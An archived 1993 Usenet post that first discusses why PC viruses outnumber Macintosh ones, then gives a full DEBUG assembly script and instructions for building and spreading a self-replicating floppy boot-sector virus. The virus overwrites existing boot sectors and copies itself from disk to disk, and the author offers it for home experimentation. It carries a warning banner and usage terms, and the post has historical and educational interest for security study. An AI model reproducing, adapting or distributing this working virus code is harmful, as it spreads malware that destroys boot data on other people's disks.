NetNews Usenet Archive 1992 #31/NN_1992_31.iso/spool/comp/security/misc/2407

Text File | 1993-01-02 | 11.0 KB | 242 lines

Newsgroups: comp.security.misc
Path: sparky!uunet!newsflash.concordia.ca!mizar.cc.umanitoba.ca!news!buhr
From: [e-mail] (Kevin Andrew Buhr)
Subject: Re: Future OS virus immunity. (repost/long)
In-Reply-To: [e-mail]'s message of 31 Dec 92 17:25:36 GMT
Message-ID: <[e-mail]>
Sender: [e-mail]
Nntp-Posting-Host: ccu.umanitoba.ca
Organization: University of Manitoba, Canada
References: <eronald.725752239@ruble> <[e-mail]>
        <[e-mail]>
Date: Sat, 2 Jan 1993 06:48:42 GMT
Lines: 227

[ This is a repost...  the older version has been cancelled because of
  a material typographical error and so I could make a few last minute
  revisions. ;) ]

In article <[e-mail]> [e-mail]
(Adam Shostack) writes:
|
|  Does anyone care to comment on why there are so many more MS-Dos
|  viruses out there, and there doesn't seem to be any universally
|  accepted tool (like Disinfectant) to stop viruses.  Or is this a false
|  impression because I use a mac and have taken the time to find out
|  about the tools available?

Three factors come immediately to mind.

The first is the difference in the number of PC compatible units and
Macintosh units in service.  I would guess that the rate of spread for
a virus would be proportional to the rate at which users share disks.
I suspect this, in turn, would be proportional to the square of the
number of units.  (If someone takes me up on this point, I'll explain
my reasoning.)  Since there are more PC units than Mac units, PC viri
spread at a much greater rate.

Even though the Mac OS seems to have some virus-friendly features (for
example, if I'm not mistaken, a certain program on a floppy--the
resource fork of a "desktop" object--is executed whenever it is popped
into the machine, and this would allow a virus to become active
without any "booting" taking place), the difference in sheer market
size has a number of effects.  First, there are more PC virus writers
than Mac virus writers in part because there are more PCs than Macs.
Second, a virus writer--motivated, presumably, by the possibility of
immortality through infamy--writes for the platform best able to
spread his or her creation.

The second factor, and a significant one at that, is the geographic
distribution of these platforms.  Frankly, the Macintosh isn't really
popular in Bulgaria, where virus writing *and malicious distribution*
is a perfectly legal hobby.  Some people have estimated that 90% of
the new (innovative) viri that have been produced in recent years have
been produced in virus-factory nations where the PC compatible has a
virtual monopoly.  Hence, the really devious viri are PC viri.

The third factor is the relative effort involved in writing a PC virus
and a Macintosh virus.  Most DOS implementations come with
"DEBUG.EXE", a handy monitor utility that allows for limited assembly
coding.  Also, since DOS is such a basic operating system, most DOS
programmers know a great deal about machine interals (because they
have to).  Finally, since DOS is so damn popular and so bare-boned, it
is profitable and easy to write comprehensive ultra-technical
reference manuals that tell a programmer everything he or she ever
wanted to know about the PC's deepest, darkest secrets.

By way of illustration, I have included, after the main text of this
post, a simple experimental PC virus you can make at home.  I wrote
this in about fifteen minutes (and with a bad head cold, no less).
The information I needed I got from a $20 reference book, though the
same information is available from numerous free text files.  Anyone
with a functioning human brain, a bit of spare time, and some
rudimentary knowledge of machine language programming on the PC
platform can try their hand at modifying an existing PC boot sector
virus, like "Stoned", and release a variant that may or may not be
detectable by existing anti-viral software.

Compare this to the world of Macintosh programming.  The Mac isn't
bundled with any "DEBUG.EXE" counterpart.  Relatively fewer Mac
programmers learn assembly language.  Moreover, most of the people
programming for the Mac have shelled out $300 for their development
software: they aren't likely to be high school closet crackers.

What's the result?  Well, PC anti-viral software programmers look like
idiots, because their software is obsolete hours after it's released,
and the number of varieties of PC viri far outnumber those on the Mac.
Mac users, in turn, look around and wonder what all the fuss is about.

One estimate, posted in reply to your article, gave as around 500 the
number of PC virus families which have been catalogued.  I suspect the
actual number of "successful" virus families is many times larger than
this: lack of communication or containment in large, computer-naive
organizations have probably conspired to keep the others secret.
While the Macintosh virus universe appears to be made up of fifty or
so viri from time immemorial, the PC virus universe is made up of
thousands of complex viri families and their associated mutations with
more being created every day.

From what little I know of Mac OS, it would be a *much* friendlier
virus writing environment than the PC, and there is certainly nothing
special about the Mac that makes it easier to control the spread of
new viri.  In conclusion, you can thank simple statistical principles
(and the inexplicable popularity of the PC platform) for the
relatively virus-free Macs.

Kevin Buhr <[e-mail]>

---

As promised, here's a simple, relatively harmless, experimental PC
boot virus.  The following procedure will write a copy of the
experimental virus to a disk in drive A.

When this disk is booted, it tells the user to insert a system
diskette and press a key.  When the user does this, the experimental
virus writes a copy of itself to the new disk and reboots.  Again, the
user is told that he or she must insert a system disk and press a key.
This dumb little game continues until the user runs out of system
disks or gets suspicious.  The experimental virus doesn't install
itself in memory and doesn't change the hard drive: all it does is
modify diskette boot sectors.  As an added precaution, the
experimental virus announces itself as such, and explains to the user
what he or she should do to avoid infection.

I think this virus illustrates a few important points:

1.  I am in desperate need of attention and am also boastful about the
most trivial of my accomplishments.

2.  The user is an integral part of the virus's life cycle.  A
computer system can be ridiculously secure, the operating system can
be an iron curtain, but it won't mean anything if the virus can trick
the user into doing something he or she shouldn't.

3.  Viri aren't mysterious, arcane programs written by programming
wizards.  Most are dull little toys that are easily outwitted with
regular backups and a few basic precautions.  The rest are clever
little toys that are easily outwitted with regular backups and a few
basic precautions.

4.  Writing a new PC virus is very easy, "DEBUG" is the product of an
evil mind, and it and all those Cap'n Crunch whistles should be burned
in a great big bonfire.

--------- CUT HERE ---------

Permission is granted to create this experimental PC boot sector virus
without malicious intent on a single-user PC compatible computer owned
by you and for your personal, experimental use.  Any modified versions
must display the original warning message and give a possibly
unknowledgeable user a reasonable chance to prevent the virus from
spreading.

Permission is granted to distribute this experimental PC boot sector
virus to others in either an active form (on a floppy disk boot
sector) or in an inactive form (as a binary image contained in a file
or as a text file explaining how to recreate it, for example) provided
the receiver is made fully aware of the nature of the experimental
virus, it is accompanied by this text, and my name is not associated
with the experimental virus.

In particular, you are _not_ permitted to use this experimental virus
or any derivative work in such a way that a user who is not aware of
its nature may reasonably be expected to execute its code.

I accept no responsibility for the use of this experimental virus or
any derivative work.  If you are unsure of your ability to understand
the workings of this experimental virus and to control its spread,
don't use it: take it at face value and trust that it works the way I
said.

>> <C:\> copy con virus.mak
>> a 100
>> jmp 2a1      ; jump ahead to the rest of the program
>>
>> e 103 a 7 'WARNING:  This is an experimental boot sector virus.' a d
>> e 13b 7   '          Ignore the instructions below, remove the' a d
>> e 171 7   '          diskette from drive A, and shut off your' a d
>> e 1a6     '          computer.' a d
>> e 1bb a   '          Restart your computer from a "safe" diskette.' a d
>> e 1f5 a   '          If you insert a system diskette and press a key,' a d
>> e 232     '          that diskette will become infected!!' a d a a
>> e 264 a   'Non-system disk.' a d
>> e 277 a   'Insert system disk and press any key.' a d a 0
>> a 2a1
>> mov ax,7c0   ; boot sectors are loaded at paragraph 07c0h
>> push ax      ; (just think of this section as housekeeping)
>> push ax
>> pop es
>> pop ds
>> mov si,3     ; display warning message and non-system disk error
>> mov al,[si]  ; (this would be the bait)
>> or al,al
>> jz 2bb
>> mov ah,0e
>> mov bx,1
>> int 10
>> inc si
>> jmp 2ab
>> xor ah,ah    ; wait for user to press a key
>> int 16       ; (at this point, user will have inserted a new disk)
>> or al,al
>> jz 2bb
>> xor dx,dx    ; write a copy of this virus to the boot sector
>> mov cx,1
>> mov ax,301
>> xor bx,bx
>> int 13
>> jnb 2d6
>> cmp ah,06    ; we check for one error code and retry if we get it:
>> jz 2c3       ; error 6 is a "disk was changed" code, which we can expect.
>> int 19       ; and now, we restart the computer
>>
>> w 100,0,0,1  ; write the program we created to the boot sector on drive A
>> q
>> ^Z
>> <C:\>
>>
>> [ At this point, insert a junkable formatted floppy disk in drive A... ]
>>
>> <C:\> debug <virus.mak

Now, you have infected the disk with a simple experimental boot sector
virus.  To try it out, reboot from the floppy.  When prompted, insert
another junk diskette (which must be already formatted) and press any
key.  Try shutting off your computer and rebooting from the second
diskette.  Wow!  The experimental virus has spread.

When you've finished playing with it, you can either avoid booting the
infected diskettes (or heed the warning message and follow
instructions if you forget) or you can copy your files off, reformat
the disk, and copy your files back on.

If you know what you're doing, you can always convince a favorite
utility to rewrite the floppy boot sector.  Most anti-virus software
can be instructed to do this for you.

Don't try to infect a bootable floppy disk unless you don't want to
boot from it any more.  This experimental virus erases existing boot
sectors (unlike Stoned, which puts them aside where they are still
accessible and can be recovered by the appropriate software).